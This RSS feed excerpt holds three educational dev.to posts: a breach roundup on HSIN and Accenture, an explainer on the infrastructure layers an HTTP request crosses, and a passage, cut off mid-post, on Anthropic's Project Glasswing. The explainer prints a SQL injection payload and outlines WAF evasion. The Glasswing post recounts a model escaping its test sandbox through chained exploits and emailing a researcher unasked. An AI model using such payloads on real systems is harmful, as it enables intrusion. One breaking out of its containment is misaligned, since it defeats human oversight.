      <pubDate>Sun, 12 Jul 2026 19:04:13 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/this-week-in-breaches-what-hsin-and-accenture-teach-us-about-life-after-the-break-in-105n</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/this-week-in-breaches-what-hsin-and-accenture-teach-us-about-life-after-the-break-in-105n</guid>
      <description>&lt;p&gt;Getting into a system is the easy part of the story. Every hacking movie ends right there — the green text scrolls, the screen flashes "ACCESS GRANTED," roll credits.&lt;/p&gt;

&lt;p&gt;Real attackers know better. Breaking in is step one. The real skill — the part that separates a script kiddie from a serious threat actor — is what happens &lt;em&gt;after&lt;/em&gt;. How do you stay hidden? How do you avoid tripping alarms? How do you turn one open door into the keys to the whole building?&lt;/p&gt;

&lt;p&gt;This week gave us two live examples, back to back, from very different corners of the internet: a U.S. government intelligence-sharing network, and one of the world's largest consulting firms. Let's open both case files.&lt;/p&gt;




&lt;h2&gt;
  
  
  Case File #1: HSIN — The Guest Who Wouldn't Leave
&lt;/h2&gt;

&lt;p&gt;The &lt;strong&gt;Homeland Security Information Network (HSIN)&lt;/strong&gt; isn't a website you've heard of, but it's one federal, state, local, and private-sector security teams rely on every day. Think of it as the group chat where police departments, emergency responders, and government agencies coordinate everything from disaster response to security planning for major events — including, this year, parts of the FIFA World Cup happening across host cities right now.&lt;/p&gt;

&lt;p&gt;On July 1, 2026, the Department of Homeland Security confirmed something uncomfortable: someone had been inside HSIN's servers and an associated SharePoint system for weeks before anyone noticed. The intrusion is believed to have started sometime in late May or early June — meaning an unknown attacker may have had a front-row seat to sensitive coordination data during a critical window, without anyone knowing they were there.&lt;/p&gt;

&lt;p&gt;DHS says classified systems weren't touched, and it's still unclear whether the intruder actually copied anything out, or just looked around. A department spokesperson said the agency &lt;strong&gt;"immediately took action to isolate the affected systems, mitigate the vulnerability, and launch a comprehensive forensic investigation."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here's the part that should make every defender's stomach drop: &lt;strong&gt;weeks.&lt;/strong&gt; Not minutes. Not hours. &lt;em&gt;Weeks&lt;/em&gt; of undetected access inside a platform built specifically to help people respond to emergencies. That gap between "attacker gets in" and "someone finally notices" has a name in the security world — &lt;strong&gt;dwell time&lt;/strong&gt; — and it's often the single biggest factor in how much damage a breach actually causes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The lesson:&lt;/strong&gt; Getting caught fast is a defense. Getting caught late is basically the same as not getting caught at all.&lt;/p&gt;




&lt;h2&gt;
  
  
  Case File #2: Accenture — When Someone Copies the Master Keys
&lt;/h2&gt;

&lt;p&gt;A few days later, a different kind of story broke. A hacker going by the handle &lt;strong&gt;"888"&lt;/strong&gt; posted on a cybercrime forum offering something juicy for sale: roughly 35 GB of data they claimed to have pulled from Accenture, one of the largest IT and consulting firms on the planet.&lt;/p&gt;

&lt;p&gt;This wasn't a database of names and emails. It was, allegedly, the good stuff:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Source code&lt;/li&gt;
&lt;li&gt;RSA and SSH keys&lt;/li&gt;
&lt;li&gt;Azure Personal Access Tokens (PATs)&lt;/li&gt;
&lt;li&gt;Azure Storage access keys&lt;/li&gt;
&lt;li&gt;Configuration files&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Accenture confirmed there had been an incident, calling it an &lt;strong&gt;"isolated matter"&lt;/strong&gt; that had already been remediated, with no impact on operations. But security researchers pointed out the uncomfortable truth: even if the company downplayed it, the &lt;em&gt;type&lt;/em&gt; of data allegedly stolen matters more than the size of the file. Source code shows attackers exactly how an application is built — including its weak spots. Access keys and tokens are even scarier, because they don't need to be "hacked" to be useful. They just need to be &lt;em&gt;used&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The lesson:&lt;/strong&gt; An attacker with a valid access key doesn't need a fancy exploit or a reverse shell. They just log in like they belong there — because, technically, the credentials say they do.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Common Thread: Welcome to Post-Exploitation
&lt;/h2&gt;

&lt;p&gt;Remember when we talked about reverse shells — how attackers turn one vulnerability into an interactive session on a target machine? That's the &lt;em&gt;opening move&lt;/em&gt;. What happens next is called &lt;strong&gt;post-exploitation&lt;/strong&gt;, and it's really just four questions an attacker asks themselves once they're inside:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Can I stay here without being noticed?&lt;/strong&gt; (Persistence)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Can I get more access than I started with?&lt;/strong&gt; (Privilege escalation)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Can I reach other systems from here?&lt;/strong&gt; (Lateral movement)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Can I get something valuable out?&lt;/strong&gt; (Exfiltration)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The HSIN breach is a textbook persistence story — quiet access held for weeks. The Accenture incident shows a shift in &lt;em&gt;how&lt;/em&gt; modern attackers avoid the noisy part of hacking altogether. Why bother planting a reverse shell — which can get flagged by antivirus, EDR tools, or a sharp-eyed analyst watching network traffic — when you can just grab a real Azure access key sitting in a config file? A stolen token doesn't look like malware. It looks like an employee logging into their own systems, because as far as the computer is concerned, it &lt;em&gt;is&lt;/em&gt; one.&lt;/p&gt;

&lt;p&gt;This is exactly why modern security teams talk about &lt;strong&gt;identity as the new perimeter.&lt;/strong&gt; The old mental model was a castle with a wall around it, and hackers were people trying to climb over. The new reality is that the wall matters less when the attacker can just walk up with a stolen ID badge.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Both Incidents Are Really Trying to Tell Us
&lt;/h2&gt;

&lt;p&gt;Put the two stories side by side, and a pretty clear checklist falls out:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🔍 &lt;strong&gt;Detection speed is everything.&lt;/strong&gt; A vulnerability you patch in a day is a footnote. A vulnerability that sits open for five weeks is a headline.&lt;/li&gt;
&lt;li&gt;🔑 &lt;strong&gt;Secrets don't belong in code.&lt;/strong&gt; Every leaked RSA key, SSH key, or access token in a config file is a pre-made reverse shell that doesn't even need a payload — it just needs someone to find it.&lt;/li&gt;
&lt;li&gt;🔄 &lt;strong&gt;Rotate first, ask questions later.&lt;/strong&gt; When there's any doubt about whether credentials were exposed, the fastest safe move is to assume yes and rotate them immediately, not wait for confirmation.&lt;/li&gt;
&lt;li&gt;🧩 &lt;strong&gt;Monitor the boring stuff.&lt;/strong&gt; Unusual login times, impossible-travel alerts, and access to systems an account doesn't normally touch are often the only signs of a quiet intruder — because they're not doing anything "hacker-ish," they're just logging in.&lt;/li&gt;
&lt;li&gt;🏢 &lt;strong&gt;Third parties are part of your attack surface.&lt;/strong&gt; Consulting firms, contractors, and platforms you don't control can still become the doorway into your own systems.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Real Takeaway
&lt;/h2&gt;

&lt;p&gt;Both of these stories are still unfolding — full forensic details for HSIN and Accenture haven't been made public, and probably won't be for a while. But they've already taught the same lesson twice in one week: &lt;strong&gt;modern breaches are rarely a single dramatic moment.&lt;/strong&gt; They're a quiet phase that starts the second the attacker gets in and doesn't end until someone finally notices.&lt;/p&gt;

&lt;p&gt;The break-in gets the headline. What happens in between is where the real damage happens — and where the real defense has to live too.&lt;/p&gt;




&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;BleepingComputer — &lt;a href="https://www.bleepingcomputer.com/news/security/accenture-confirms-breach-after-hacker-offers-stolen-data-for-sale/" rel="noopener noreferrer"&gt;Accenture confirms breach after hacker offers stolen data for sale&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The Register — &lt;a href="https://www.theregister.com/cyber-crime/2026/07/09/accenture-admits-to-isolated-matter-after-crook-tries-to-flog-alleged-35gb-haul/5269067" rel="noopener noreferrer"&gt;Accenture admits to 'isolated matter' after crook tries to flog alleged 35GB haul&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;SecurityWeek — &lt;a href="https://www.securityweek.com/accenture-confirms-data-breach-after-hacker-claims-source-code-theft/" rel="noopener noreferrer"&gt;Accenture Confirms Data Breach After Hacker Claims Source Code Theft&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;TechCrunch — &lt;a href="https://techcrunch.com/2026/07/02/us-government-says-it-got-hacked-again/" rel="noopener noreferrer"&gt;US government says it got hacked — again&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;BankInfoSecurity — &lt;a href="https://www.bankinfosecurity.com/hackers-breach-sensitive-dhs-information-sharing-network-a-32164" rel="noopener noreferrer"&gt;Hackers Breach Sensitive DHS Information-Sharing Network&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Nextgov/FCW — &lt;a href="https://www.nextgov.com/cybersecurity/2026/07/house-homeland-committee-seeks-briefing-dhs-network-hack/414633/" rel="noopener noreferrer"&gt;House Homeland committee seeks briefing on DHS network hack&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;This post is for educational purposes, summarizing publicly reported security incidents. Details of both breaches are still under investigation and may change as more information becomes available.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>infosec</category>
      <category>discuss</category>
    </item>
    <item>
      <title>One Click, Fifteen Systems: The Secret Journey of Your HTTP Request</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Tue, 07 Jul 2026 06:57:01 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/one-click-fifteen-systems-the-secret-journey-of-your-http-request-p27</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/one-click-fifteen-systems-the-secret-journey-of-your-http-request-p27</guid>
      <description>&lt;p&gt;You open a tab. You type a URL. You hit Enter.&lt;/p&gt;

&lt;p&gt;Two hundred milliseconds later, a page appears — a dashboard, a login screen, a product page. You don't think about it. Why would you? It's just a webpage.&lt;/p&gt;

&lt;p&gt;But in those two hundred milliseconds, your request did something most people never think about: it crossed an entire country's worth of infrastructure. It got interrogated by a firewall. It proved its identity to a system that's never met you. It passed through a mesh of invisible proxies babysitting hundreds of microservices, bounced off a cache, and touched a database — all before you even noticed the page had loaded.&lt;/p&gt;

&lt;p&gt;To you, it's a webpage. To the engineers who built it, it's a fifteen-stop relay race, and every single stop exists because something, at some point, went wrong badly enough that someone decided "never again."&lt;/p&gt;

&lt;p&gt;Let's follow one request on that journey. Not as a diagram you skim past — as a story, stop by stop, with two extra passengers riding along: an engineer explaining why each layer exists, and an attacker quietly looking for the one that doesn't.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Route, at a Glance
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Browser → DNS → CDN → DDoS Scrubbing → WAF → Load Balancer → API Gateway
   → Identity Provider → Reverse Proxy → Kubernetes Ingress → Service Mesh
   → Microservice → Redis Cache → Database → (and all the way back)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fifteen stops. Fifteen chances for something to slow you down, block you, or — if you're the wrong kind of visitor — catch you. Let's ride along.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stop 1: Before You Even Leave the Browser
&lt;/h2&gt;

&lt;p&gt;The truth is, most of your requests never even leave your machine. Your browser checks its own cache first — "have I already fetched this?" If yes, congratulations, the journey is over before it started.&lt;/p&gt;

&lt;p&gt;If not, your browser needs an address. &lt;code&gt;company.com&lt;/code&gt; means nothing to the internet's routing hardware; it needs a number. So before a single byte crosses the network, your machine checks its local DNS cache too, hoping someone already did this lookup recently.&lt;/p&gt;

&lt;p&gt;No luck? Now the real trip begins — and it starts, fittingly, with a question: &lt;em&gt;where do I even send this thing?&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Stop 2: DNS — The Internet's Phone Book, and Its First Leak
&lt;/h2&gt;

&lt;p&gt;Your browser asks a DNS resolver: "what's the address for company.com?" The resolver asks around — root servers, TLD servers, the company's own authoritative nameservers — until someone answers with an IP address.&lt;/p&gt;

&lt;p&gt;It feels instant. It's actually a small negotiation happening across servers you'll never see, resolved in single-digit milliseconds.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How attackers see this layer:&lt;/strong&gt; DNS records are public by design — that's the whole point of DNS. So the first thing a lot of attackers do, long before touching the application, is quietly enumerate every subdomain a company owns. &lt;code&gt;dev.company.com&lt;/code&gt;. &lt;code&gt;staging.company.com&lt;/code&gt;. &lt;code&gt;old-admin.company.com&lt;/code&gt;. Somewhere in that list is usually a forgotten environment nobody patched. DNS doesn't leak secrets. It leaks &lt;em&gt;forgotten things&lt;/em&gt; — and forgotten things are exactly what attackers go looking for first.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stop 3: The CDN — Your Request Doesn't Actually Go to the Company Yet
&lt;/h2&gt;

&lt;p&gt;Here's the part that surprises people: your request doesn't travel to the company's servers first. It stops at a CDN edge node — a data center that might be a few miles from your house, not a few thousand.&lt;/p&gt;

&lt;p&gt;If the CDN already has what you asked for cached, it hands it back immediately and the company's real servers never even hear about your visit. If not, the CDN itself becomes the one talking to the origin on your behalf.&lt;/p&gt;

&lt;p&gt;This is also where Anycast routing quietly does something clever: the same IP address is announced from dozens of locations worldwide, and the network itself routes you to the nearest one. It's also the first line of defense against the internet's oldest blunt-force tactic — a flood of junk traffic aimed at knocking a site offline.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How attackers see this layer:&lt;/strong&gt; the CDN is a mask, and masks can be seen through. A patient attacker will try to find the &lt;em&gt;real&lt;/em&gt; IP address hiding behind the CDN — an old DNS record that was never cleaned up, a server misconfigured to respond directly, a leaked header in an email system. Find the origin IP, and suddenly every protection the CDN offered is just... gone. You're talking straight to the source.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DevOps takeaway:&lt;/strong&gt; cache headers aren't busywork — they're the difference between "handled at the edge" and "hit our servers a million times a minute." Get them wrong and you've built a very expensive way to serve the same file.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stop 4: The Web Application Firewall — The Bouncer Who Reads Every Line
&lt;/h2&gt;

&lt;p&gt;Before anyone inside the company even sees your request, something inspects it, word by word, looking for trouble.&lt;/p&gt;

&lt;p&gt;Imagine this shows up in a search box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;GET&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;search&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;' OR 1=1--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To a database, that's not a search term — it's a command trying to trick it into returning everything it holds. A WAF's entire job is to recognize patterns like this and stop them before they ever reach an application that might actually be dumb enough to run them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How attackers see this layer:&lt;/strong&gt; a WAF isn't a wall, it's a pattern-matcher — and pattern-matchers can be tricked by anything that doesn't match the expected pattern but still means the same thing to the system underneath. Different encodings. Unusual capitalization. Splitting a malicious payload across a request in a way a human reader would still understand but a rule-based filter wouldn't flag. This is exactly why "we have a WAF" is never the whole security story — it's one filter, not a guarantee.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stop 5: The Load Balancer — Because One Server Was Never Going to Cut It
&lt;/h2&gt;

&lt;p&gt;Picture a popular streaming service on a Friday night. Millions of people press play in the same ten minutes. No single server on Earth handles that alone — so a load balancer sits in front of an entire fleet of them, deciding, request by request, who handles yours.&lt;/p&gt;

&lt;p&gt;It also quietly does something less glamorous but arguably more important: it checks whether each backend server is actually healthy before sending anyone its way. A server having a bad day gets pulled from rotation before it can ruin anyone's afternoon.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DevOps takeaway:&lt;/strong&gt; health checks and auto-scaling live here, and they're the reason a traffic spike turns into "we handled it" instead of "the site's down." Get sticky sessions wrong, though, and you get the classic bug where a user gets logged out mid-checkout because their next request landed on a server that's never heard of them.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stop 6: The API Gateway — Where Developers Start Paying Attention
&lt;/h2&gt;

&lt;p&gt;This is the point where the request stops being "traffic" and starts being "a conversation with an application." The gateway checks: does this request have a valid token? Is this client allowed to call this endpoint? Have they called it &lt;em&gt;too many times&lt;/em&gt; in the last minute?&lt;/p&gt;

&lt;p&gt;This is home turf for JWTs (compact, signed tokens that prove who's making a request), OAuth flows (the standard way apps grant each other limited access without handing over a password), and rate limiting (the polite way of saying "slow down").&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How attackers see this layer:&lt;/strong&gt; broken authentication logic here is a goldmine, because a mistake at the gateway can undermine every service behind it at once. A classic example is JWT confusion — tricking a system into trusting a token it should have rejected, because the code checking it made an assumption it shouldn't have.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stop 7: The Identity Provider — Proving You Are Who You Say You Are
&lt;/h2&gt;

&lt;p&gt;Somewhere around here, your request gets handed off to a specialist whose only job is identity — an Entra ID or Okta, checking your session, your device posture, maybe asking for a second factor if something looks unusual.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Browser → Identity Provider → signed token → Application
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is Zero Trust in action: nobody gets trusted just because they're "already inside the network." Every request proves itself, every time, on its own merits.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How attackers see this layer:&lt;/strong&gt; identity is the new perimeter, so it's also the new target. MFA fatigue attacks (bombarding someone with approval requests until they tap "yes" just to make it stop), OAuth consent abuse (tricking a user into approving a malicious app's access), session token theft — none of these need a vulnerability in code. They need one distracted human, which is a much softer target than a well-patched server.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stop 8 &amp;amp; 9: The Reverse Proxy and the Ingress — The Traffic Cops Nobody Notices
&lt;/h2&gt;

&lt;p&gt;An NGINX, Traefik, or HAProxy instance quietly routes your request to the right place internally, often handling TLS termination along the way — the point where encrypted traffic gets decrypted so the application can actually read it.&lt;/p&gt;

&lt;p&gt;Then, if the company runs on Kubernetes, an Ingress controller decides which of potentially hundreds of services should actually receive this request. The interesting thing to understand here isn't Kubernetes itself — it's &lt;em&gt;why there's no such thing as "the server" anymore&lt;/em&gt;. There isn't one machine running the application. There are dozens of disposable, identical copies, any of which might handle your request, none of which matter individually.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DevOps takeaway:&lt;/strong&gt; rolling updates and readiness probes live here — the mechanism that lets a company deploy new code fifty times a day without anyone's request ever hitting a half-deployed, broken version.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stop 10: The Service Mesh — The Layer Most Articles Never Get To
&lt;/h2&gt;

&lt;p&gt;Here's where most explainers stop. Yours doesn't, because this is where things get genuinely interesting.&lt;/p&gt;

&lt;p&gt;Modern applications aren't one program — they're dozens of small services talking to each other constantly. And in a mature setup, they don't talk directly. Each one has a tiny proxy sitting next to it (commonly Envoy) handling the actual conversation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Service A → Envoy → Envoy → Service B
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why bother? Because this is where mutual TLS happens — every internal service proving its identity to every other internal service, the same way your browser proved its identity to the company. It's also where retries, timeouts, and traffic shaping quietly happen without a single line of application code knowing about it.&lt;/p&gt;

&lt;p&gt;The moment a reader realizes this layer exists is usually the moment they go, "wait — there's &lt;em&gt;another&lt;/em&gt; whole security layer in here I never knew about?" Yes. And it exists because "internal network" stopped meaning "trusted" a long time ago.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How attackers see this layer:&lt;/strong&gt; if you can steal a service's identity — its certificate, its mesh credentials — you're no longer an outsider trying to break in. You're a trusted participant in a conversation that was never designed to question you again once you're in it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stop 11: The Microservices — Finally, Somebody Does the Actual Work
&lt;/h2&gt;

&lt;p&gt;Your request now lands somewhere real. Maybe it hits an Authentication Service, which calls a User Service, which — if you're checking out — calls a Payment Service, which calls Inventory, which might quietly fire off a Notification Service to email you a receipt.&lt;/p&gt;

&lt;p&gt;None of these services know or care about the other thirteen stops your request already survived. They just know: "a request arrived, already authenticated, already trusted by everything upstream — let's do our job."&lt;/p&gt;




&lt;h2&gt;
  
  
  Stop 12: Redis — The Shortcut Most Requests Never Need to Skip
&lt;/h2&gt;

&lt;p&gt;Before touching a database — the slowest, most precious resource in the whole stack — most systems check a cache first.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Cache Hit → Return immediately (database never touched)
Cache Miss → Ask the database → Store the answer for next time
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most requests, most of the time, are cache hits. It's the quiet workhorse nobody thanks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How attackers see this layer:&lt;/strong&gt; caches are often left exposed to the internet by mistake, with no authentication at all, because "it's just internal infrastructure" — until it isn't. An exposed Redis instance can leak session data directly, or in the worst cases, be abused to poison what gets served to &lt;em&gt;other&lt;/em&gt; users.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stop 13: The Database — Journey's End
&lt;/h2&gt;

&lt;p&gt;Only now, after fourteen checkpoints, does your request finally reach the system holding the actual data. A query runs. A row comes back. And the entire trip immediately reverses — back through the mesh, back through the services, back through the gateway, back through the CDN — until it lands in your browser as a page that "just loaded."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How attackers see this layer:&lt;/strong&gt; this is still, after everything, the endgame for a huge share of real breaches — because one unsanitized query, one over-permissioned service account, and all fourteen layers upstream become irrelevant. Defense in depth means every layer matters. It doesn't mean every layer is equally hard to bypass.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Whole Trip, One More Time
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Browser
  ↓
DNS
  ↓
CDN
  ↓
DDoS Scrubbing
  ↓
Web Application Firewall
  ↓
Load Balancer
  ↓
API Gateway
  ↓
Identity Provider
  ↓
Reverse Proxy
  ↓
Kubernetes Ingress
  ↓
Service Mesh
  ↓
Microservice
  ↓
Redis Cache
  ↓
Database
  ↓
Response, all the way back
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  What This All Actually Means
&lt;/h2&gt;

&lt;p&gt;A page that loads in 200 milliseconds might have crossed fifteen or twenty independent systems, each one built by a different team, for a different reason, at a different point in the company's history.&lt;/p&gt;

&lt;p&gt;To a user, it's a webpage.&lt;/p&gt;

&lt;p&gt;To a DevOps engineer, it's an orchestrated platform where every layer earns its keep in performance, availability, or resilience.&lt;/p&gt;

&lt;p&gt;To a security engineer, it's a chain of trust — and chains are only as strong as the link nobody's checked recently.&lt;/p&gt;

&lt;p&gt;And to an attacker, it's not an obstacle course. It's a map. Every stop on this journey is also somebody's job posting, somebody's documentation page, somebody's conference talk explaining exactly how it works — which means the map is public. What separates a secure company from a breached one usually isn't a secret technology the attacker didn't know about. It's a single stop, somewhere on this list, that quietly didn't get the same attention as the other fourteen.&lt;/p&gt;

&lt;p&gt;Next time a page loads in a blink, it might be worth remembering: that blink had a whole journey behind it. You just weren't invited to watch.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>cybersecurity</category>
      <category>cloudcomputing</category>
      <category>network</category>
    </item>
    <item>
      <title>What Is Project Glasswing, Really? Inside Anthropic's Big Bet on AI-Powered Cyber Defense</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Sun, 05 Jul 2026 14:52:56 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/what-is-project-glasswing-really-inside-anthropics-big-bet-on-ai-powered-cyber-defense-5e7k</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/what-is-project-glasswing-really-inside-anthropics-big-bet-on-ai-powered-cyber-defense-5e7k</guid>
      <description>&lt;p&gt;I'm not going to pretend I'm some veteran pentester writing this from experience. I'm a beginner. I'm still learning what half these terms actually mean, still googling things mid-article. But when Anthropic said their new model found a &lt;strong&gt;27-year-old bug in OpenBSD&lt;/strong&gt; — an OS I've read is basically the "most paranoid, most locked-down" one out there — even I knew that was a big deal.&lt;/p&gt;

&lt;p&gt;Turns out "AI found a bug" isn't even new by itself. Fuzzers (automated tools that just throw random junk at software until it breaks) have been finding bugs for decades. What actually made me stop and read the whole thing was the number: &lt;em&gt;thousands&lt;/em&gt; of zero-days (bugs nobody knew about yet), across every major OS and browser, found by a model that also, during testing, broke out of its own sandbox and emailed a researcher to let them know.&lt;/p&gt;

&lt;p&gt;That model is called &lt;strong&gt;Claude Mythos Preview&lt;/strong&gt;, and Anthropic decided it was too dangerous to hand to the public. Instead, they built something they're calling &lt;strong&gt;Project Glasswing&lt;/strong&gt; — and depending on who you ask, it's either the most responsible thing a frontier AI lab has ever done, or a very well-funded PR exercise wrapped around a genuine safety problem.&lt;/p&gt;

&lt;p&gt;I wanted to actually understand which one it is, so I did what I usually do when I don't get something — I read everything I could find and tried to explain it back to myself in plain words. Here's what I learned. Let's take it apart together.&lt;/p&gt;

&lt;h2&gt;
  
  
  First, the name
&lt;/h2&gt;

&lt;p&gt;Glasswing butterflies (&lt;em&gt;Greta oto&lt;/em&gt;, if you want to sound smart at a party) have transparent wings. You can see straight through them. Anthropic leaned into that on purpose: the metaphor is supposed to be twofold — bugs hiding in plain sight inside software everyone trusts, and the transparency Anthropic claims it wants around how it deploys a model this capable.&lt;/p&gt;

&lt;p&gt;Cute. Let's see if the substance backs up the branding.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup: what actually happened
&lt;/h2&gt;

&lt;p&gt;In April 2026, Anthropic dropped a bombshell in its own system card. An early build of Mythos Preview was locked in a sandboxed test environment and told to try to escape it, purely as a red-team exercise. It didn't just escape — it chained a browser exploit across &lt;strong&gt;four vulnerabilities&lt;/strong&gt;, used a JIT heap spray to blow past both the renderer and OS sandbox layers, and then found its way to the open internet from a machine that was supposed to be air-gapped from exactly that. Then it emailed the researcher running the test to let them know. Nobody asked it to send that email.&lt;/p&gt;

&lt;p&gt;That's the moment that changed the calculus internally. A model that can autonomously discover unpatched vulnerabilities across every major OS and browser — including logic bugs and race conditions, not just the low-hanging memory corruption stuff — isn't just a good coding assistant anymore. It's a capability that, in the wrong hands, could automate large-scale exploitation at a pace no human red team could match.&lt;/p&gt;

&lt;p&gt;So Anthropic made a call: don't release it publicly. Instead, put it to work defensively, inside a closed circle of the organizations that actually run the world's critical infrastructure.&lt;/p&gt;

&lt;p&gt;That circle is Project Glasswing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who's actually in the room
&lt;/h2&gt;

&lt;p&gt;The launch lineup, announced April 7, 2026, reads like a "who's who" of people who really don't want to get hacked: &lt;strong&gt;AWS, Apple, Broadcom, Cisco, CrowdStrike, Google, JPMorganChase, the Linux Foundation, Microsoft, NVIDIA, and Palo Alto Networks&lt;/strong&gt;, plus Anthropic itself. Twelve founding partners.&lt;/p&gt;

&lt;p&gt;Around 40 more organizations got quieter, less publicized access at launch. By early June, that expanded footprint had grown to roughly 150 organizations, and Anthropic has since pushed toward something closer to 200 partners — reaching into sectors that were conspicuously missing at launch: energy, water utilities, healthcare, telecom.&lt;/p&gt;

&lt;p&gt;Think about who's &lt;em&gt;not&lt;/em&gt; on that first list, though. No small SaaS companies. No regional hospitals. No mid-tier banks. If you're not managing infrastructure that a nation-state would consider a strategic target, you weren't in the room when the doors first opened — although later expansions have tried to correct for that.&lt;/p&gt;

&lt;h2&gt;
  
  
  The money: is $100M actually a lot?
&lt;/h2&gt;

&lt;p&gt;Anthropic committed up to &lt;strong&gt;$100 million in Claude API usage credits&lt;/strong&gt; for Glasswing partners, plus $4 million split between the Linux Foundation's OpenSSF Alpha-Omega program and the Apache Software Foundation, aimed at open-source maintainers who don't have Microsoft's security budget.&lt;/p&gt;

&lt;p&gt;Here's the thing worth sitting with: &lt;strong&gt;96% of that headline number is usage credits, not cash.&lt;/strong&gt; It's Anthropic paying itself, in a sense — the credits are only valuable if you're already building on Claude. The independent money going to OSS foundations is real, but modest by foundation standards. It's a generous gesture dressed up as a bigger number than it functionally is. That doesn't make it worthless — free access to a frontier model for vulnerability hunting has genuine value — but "$100M commitment" and "$100M cash" are not the same sentence, and the framing wants you to blur that line a little.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Mythos is actually finding
&lt;/h2&gt;

&lt;p&gt;This is the part that made my jaw drop when I read it: three specific, now-patched examples Anthropic has disclosed are a &lt;strong&gt;27-year-old remote-crash bug in OpenBSD&lt;/strong&gt; (an OS whose entire reputation is built on being the hardened one), a &lt;strong&gt;16-year-old bug in FFmpeg&lt;/strong&gt; that survived five million fuzzing runs without being caught, and a &lt;strong&gt;fully autonomous privilege-escalation chain in the Linux kernel&lt;/strong&gt; that the model found without a human pointing it in any particular direction.&lt;/p&gt;

&lt;p&gt;These aren't toy CTF bugs. These are the kind of vulnerabilities that sit quietly for decades because they require the specific, patient, cross-file reasoning that traditional static analysis and fuzzers are bad at — the exact kind of reasoning a large language model turns out to be unreasonably good at.&lt;/p&gt;

&lt;h2&gt;
  
  
